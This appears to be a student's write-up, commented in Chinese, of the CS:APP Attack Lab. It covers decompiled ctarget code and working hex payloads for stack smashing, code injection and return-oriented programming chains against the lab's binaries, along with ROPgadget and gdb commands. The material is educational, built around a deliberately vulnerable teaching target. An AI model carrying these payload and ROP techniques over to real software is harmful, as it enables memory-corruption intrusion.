attacklab

<yolo> /mnt/c/Users/24062/Documents/计算机组成/target73
❯ checksec ctarget                                                      □ 计算机组成/target73 ℂ v14.2.0-gcc 68% ↓ 13:59
[*] '/mnt/c/Users/24062/Documents/计算机组成/target73/ctarget'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

int main(int argc,char **argv)

{
  int iVar1;
  char *__shortopts;
  ulong uVar2;
  ulong uVar3; 
//上述内容是函数签名以及变量定义
  
  signal(0xb,seghandler);//段错误
  signal(7,bushandler);//总线错误
  signal(4,illegalhandler);//非法指令
//上述内容是信号处理设置，无需深入了解
//下面是两种调用模式
    //非checker模式，短选项里有h:帮助、q:静默模式、i:插入文件（参考实验报告得到的结论
  if (is_checker == 0) {
    __shortopts = "hqi:";
  }
    //checker模式，相较上一种模式多了a:和l:选项，定义了定时器超时处理器，超过5s会触发
  else {
    signal(0xe,sigalrmhandler);
    alarm(5);
    __shortopts = "hi:a:l:";
  }
  infile = stdin; //默认输入为标准输入
  uVar2 = 0; //包括下一行都是在定义某一种变量参数，作用暂时未知
  uVar3 = 0;

  while( true ) {
    iVar1 = getopt(argc,argv,__shortopts);
    if ((char)iVar1 == -1) break;//循环处理命令行选项，直到没有更多选项
    switch(iVar1 - 0x61U & 0xff) { //处理选项的部分，用表达式将选项里的小写字母偏移到较小整数范围，用于case匹配，举个例子，选项q的ASCII值113转换成十六进制就是0x71,这个时候减去0x61后得到结果0x10，恰好出现在case列表中
    case 0: //选项a
      uVar3 = strtoul(optarg,(char **)0x0,0x10); //将认证密钥转换成ulong
      uVar3 = uVar3 & 0xffffffff; //截断为32位
      break;
    default: //没有匹配的选项，崩溃退出
      __printf_chk(1,"Unknown flag \'%c\'\n",(int)(char)iVar1);
      usage(*argv);
      goto LAB_0040192d;
    case 7: //选项h
      usage(*argv);  //打印用法
    case 8: //选项i
      infile = (FILE *)fopen(optarg,"r"); //打开文件并作为输入，失败则报错退出
      if ((FILE *)infile == (FILE *)0x0) {
        __fprintf_chk(stderr,1,"Cannot open input file \'%s\'\n",optarg);
        return 1;
      }
      break;
    case 0xb: //选项l，暂时不知道作用
      uVar2 = strtol(optarg,(char **)0x0,10); //处理字符串为十进制
      uVar2 = uVar2 & 0xffffffff;//截取32位
      break;
    case 0x10: //q
      notify = 0; //静默模式，不会将结果返回到服务器中
    }
  }

LAB_0040192d: //解析结束后的初始化
  initialize_target((int)uVar2,0); //调用初始化函数，并传入变量uVar2
  if ((is_checker != 0) && (authkey != (uint)uVar3)) { //如果是checker模式并且提供的密钥域内置的authkey不同，会打印报错并直接check_fail
    __printf_chk(1,"Supplied authentication key 0x%x != target key\n",uVar3);
                    /* WARNING: Subroutine does not return */
    check_fail();
  }
  __printf_chk(1,"Cookie: 0x%x\n",cookie);
  stable_launch(buf_offset); //正常启动主逻辑
  return 0;

void stable_launch(size_t offset) //函数签名

{
  void *__addr; //变量定义
  
  global_offset = offset; //保存全局偏移
  __addr = mmap((void *)0x55586000,0x100000,7,0x132,0,0); //尝试固定地址mmap,地址:0x55586000,大小:1MB,保护7(可读可写可执行),标志：0x132，匿名映射。目标是强行占用该地址区间作为我们的可控执行区
  if (__addr == (void *)0x55586000) {//如果强行占用该地址成功
    stack_top = (void *)0x55685ff8; //手动建立新栈空间
    uRam0000000055685ff0 = 0x402714; //写入一个返回地址
    global_save_stack = &stack0xfffffffffffffff8; //保存原栈指针的某个偏移，用于恢复
    launch(global_offset); //将栈调整好后执行下一步主逻辑
    *(undefined8 *)((long)global_save_stack + -8) = 0x40272b; //恢复原来的栈布局，并解除映射
    munmap((void *)0x55586000,0x100000);
    return;
  }
  munmap(__addr,0x100000);//如果映射失败，先释放意外映射的内存并报错退出
  __fprintf_chk(stderr,1,"Couldn\'t map stack to segment at 0x%lx\n",0x55586000);
                    /* WARNING: Subroutine does not return */
  exit(1);
}

//上面省略部分是函数签名以及变量定义
  local_10 = *(long *)(in_FS_OFFSET + 0x28);//栈金丝雀保护，不管
  for (puVar3 = auStack_18; puVar3 != auStack_18 + -(offset + 0x17 & 0xfffffffffffff000);
      puVar3 = puVar3 + -0x1000) {
    *(undefined8 *)(puVar3 + -8) = *(undefined8 *)(puVar3 + -8);
  }//循环移动栈指针，分配空间，当循环结束时，puVar3指向auStack_18下方（偏移+对齐后大小）的位置，可以理解为栈向下增长一定的字节，这里的循环手工实现了一个alloca的对齐版本，并且每次访问一页
  uVar2 = (ulong)((uint)(offset + 0x17) & 0xff0);//对齐到16字节边界，取低12位
  lVar1 = -uVar2;
  if (uVar2 != 0) {//如果额外对齐量不为0，再次执行一个空赋值来手动对齐
    *(undefined8 *)(puVar3 + -8) = *(undefined8 *)(puVar3 + -8);
  }//最终栈指针=puVar3+lVar1 (lVar1=-uVar2),栈向下额外移动最多4080字节
  *(undefined8 *)(puVar3 + lVar1 + -8) = 0x402631; //设置返回地址占位，为新栈顶下方8字节处写入0x402631作为返回地址
  memset((void *)((ulong)(puVar3 + lVar1 + 0xf) & 0xfffffffffffffff0),0xf4,offset);//填充hlt滑板区：对齐到16字节边界后，写入hlt指令(x86停机指令)，长度为offset字节
  if (infile == stdin) {//如果输入来自终端，会提示type string:
    *(undefined8 *)(puVar3 + lVar1 + -8) = 0x402691;
    __printf_chk(1,"Type string:");
  }
  vlevel = 0;//设置全局变量vlevel=0,用来区分3个关卡用的
  *(undefined8 *)(puVar3 + lVar1 + -8) = 0x402655;
  test();//调用关键函数test
  if (is_checker == 0) {
    *(undefined8 *)(puVar3 + lVar1 + -8) = 0x40266a;//检测canary是否变化，没有变化会正常返回，若变化会崩溃报错
    puts("Normal return");
    if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
      return;
    }
                    /* WARNING: Subroutine does not return */
    *(code **)(puVar3 + lVar1 + -8) = stable_launch;
    __stack_chk_fail();
  }
  *(undefined8 *)(puVar3 + lVar1 + -8) = 0x40269f;//checker模式的话，会打印No exploit并直接调用check_fail
  puts("No exploit");
                    /* WARNING: Subroutine does not return */
  *(undefined8 *)(puVar3 + lVar1 + -8) = 0x4026a9;
  check_fail();
}

void test(void)

{
  uint uVar1;
  
  uVar1 = getbuf();
  __printf_chk(1,"No exploit.  Getbuf returned 0x%x\n",uVar1);
  return;
}

uint getbuf(void)

{
  char buf [32];//在栈上分配32字节的字符数组
  
  Gets(buf); //关键函数，由于是自定义，还需要审计
  return 1;
}

//省略函数签名与变量定义
  gets_cnt = 0; //初始化，统计读取字数
  puVar2 = (uchar *)dest; //指向目标缓冲区的起始位置
  while( true ) { //无限循环读取
    iVar1 = getc((FILE *)infile);
    if ((iVar1 == -1) || (iVar1 == 10)) break;//终止条件是遇到'EOF'或'\n'
    *puVar2 = (uchar)iVar1; //写入缓冲区
    save_char((uchar)iVar1); //记录字符
    puVar2 = puVar2 + 1; //指针递增,移动到下一个字符
  }
  *puVar2 = '\0';//字符串末尾添加空字符\0
  save_term(); //编辑记录结束，保存结束信息
  return dest; //返回
}

void touch1(void)

{
  vlevel = 1;
  puts("Touch1!: You called touch1()");
  validate(1);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

void touch2(uint val)

{
  vlevel = 2; //设置关卡识别
  if (cookie == val) { //条件判断
    __printf_chk(1,"Touch2!: You called touch2(0x%.8x)\n",val);
    validate(2); //成功后会记录
  }
  else {
    __printf_chk(1,"Misfire: You called touch2(0x%.8x)\n",val);
    fail(2);
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

void touch3(char *sval)

{
  int iVar1;
  
  vlevel = 3;
  iVar1 = hexmatch(cookie,sval);
  if (iVar1 == 0) {
    __printf_chk(1,"Misfire: You called touch3(\"%s\")\n",sval);
    fail(3);
  }
  else {
    __printf_chk(1,"Touch3!: You called touch3(\"%s\")\n",sval);
    validate(3);
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

int hexmatch(uint val,char *sval)

{
  long lVar1;
  int iVar2;
  long lVar3;
  long in_FS_OFFSET;
  char cbuf [110];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  lVar3 = random(); //创建随机偏移
  __sprintf_chk(cbuf + lVar3 % 100,1,0xffffffffffffffff,&DAT_004042f3,val); //格式化字符串，并转成16进制字符串
  iVar2 = strncmp(sval,cbuf + lVar3 % 100,9); //字符串从偏移地址开始写入,要读取9个值，最后一个一定是给\00准备的，构造payload的时候需要注意
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) { //逐字符对比
    return (int)(iVar2 == 0);
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
2c 1e 40 00 00 00 00 00

./hex2raw < test.txt > clevel1.txt

LD_PRELOAD=./printf.so ./ctarget < clevel1.txt -q

break *0x401e12 #我打的是getbuf的断点，每个人的附件不一样，因此不能直接复制，可以自行调用objdump -d ctarget | grep "<getbuf>:"来获取
run -q #关键！使用-q可以进入静默模式，避免动调失败反而扣分
stepi 2 #在断点位置继续向下走两条指令
print $rsp #获取当前rsp寄存器的值

高地址
+-------------------+  ← 0x5562d980 (test 原来的栈顶)
|                   |
|  test 栈帧        |  ← 安全区域 ✅
|                   |
+-------------------+  ← 0x5562d978 (test 执行 sub rsp,8 后的栈顶)
|  getbuf 返回地址   |  ← 0x5562d970 (你覆盖这里)
+-------------------+
|                   |
|  getbuf 栈帧      |  ← 0x5562d948 (buf 起始)
|  (包含 buf[32])   |  ← 会被 hexmatch 覆盖 ❌
|                   |
+-------------------+  ← 低地址

48 c7 c7 78 d9 62 55 48
b8 37 66 63 64 37 63 37
36 48 89 07 c6 47 08 00
68 7d 1f 40 00 c3 00 00
00 00 00 00 00 00 00 00
48 d9 62 55 00 00 00 00

pip install ropgadget

ROPgadget --binary rtarget | grep "pop rax"
ROPgadget --binary rtarget | grep "mov rdi, rax"

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
3f 20 40 00 00 00 00 00
76 7c cd 7f 00 00 00 00
32 20 40 00 00 00 00 00
60 1e 40 00 00 00 00 00

ROPgadget --binary rtarget | grep "pop rdi"
0x0000000000402f07 : pop rdi ; ret

ROPgadget --binary rtarget | grep "pop rax" 
0x000000000040203f : pop rax ; ret

ROPgadget --binary rtarget | grep "mov qword ptr"
0x0000000000402941 : mov qword ptr [rdi + 8], rax ; ret

ROPgadget --binary rtarget | grep "mov byte ptr"
0x000000000040225a : mov byte ptr [rdx + rax], 0 ; ret

ROPgadget --binary rtarget | grep " : ret$" 
0x000000000040101a : ret

ROPgadget --binary rtarget | grep "mov rax, rsp"
0x00000000004020af : mov rax, rsp ; ret

ROPgadget --binary rtarget | grep "lea.*rdi.*rsi"
0x000000000040208f : lea rax, [rdi + rsi] ; ret

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  # 40 字节填充

af 20 40 00 00 00 00 00  # mov rax, rsp 这里我将变化的栈地址保存在rax中
80 19 40 00 00 00 00 00  # pop rsi 这里是设置参数寄存器rsi，作用是记录下面的偏移量
30 00 00 00 00 00 00 00  # 偏移量 (先猜一个 0x30)
32 20 40 00 00 00 00 00  # mov rdi, rax 这里将算出cookie地址的值保存在rax寄存器中
8f 20 40 00 00 00 00 00  # lea rax, [rdi + rsi] 这里明面上在进行加法运算，但本质上是计算栈入口地址+偏移量，能确保rax地址更新成cookie字符串的地址
32 20 40 00 00 00 00 00  # mov rdi, rax 给参数寄存器赋值真正的cookie地址
1a 10 40 00 00 00 00 00  # ret 跳转touch3
7d 1f 40 00 00 00 00 00  # touch3

37 66 63 64 37 63 37 36  # "7fcd7c76" 乍一看是不是感觉和前面的没啥关系呢？但是它非常有用，Gets函数会帮我们将这些所有内容保存到栈中，至于这里的cookie值，谁知道它会被保存在偏移多少的地址呢？
00                       # '\0'

./hex2raw < test2.txt > test2.raw
xxd test2.raw
gdb rtarget

break *0x401e2b  #我打的断点是getbuf的
run -qi test2.raw  #静默执行程序，并读取编码好的raw文件
x/32gx $rsp #以16进制向下打印32字节rsp内存中的值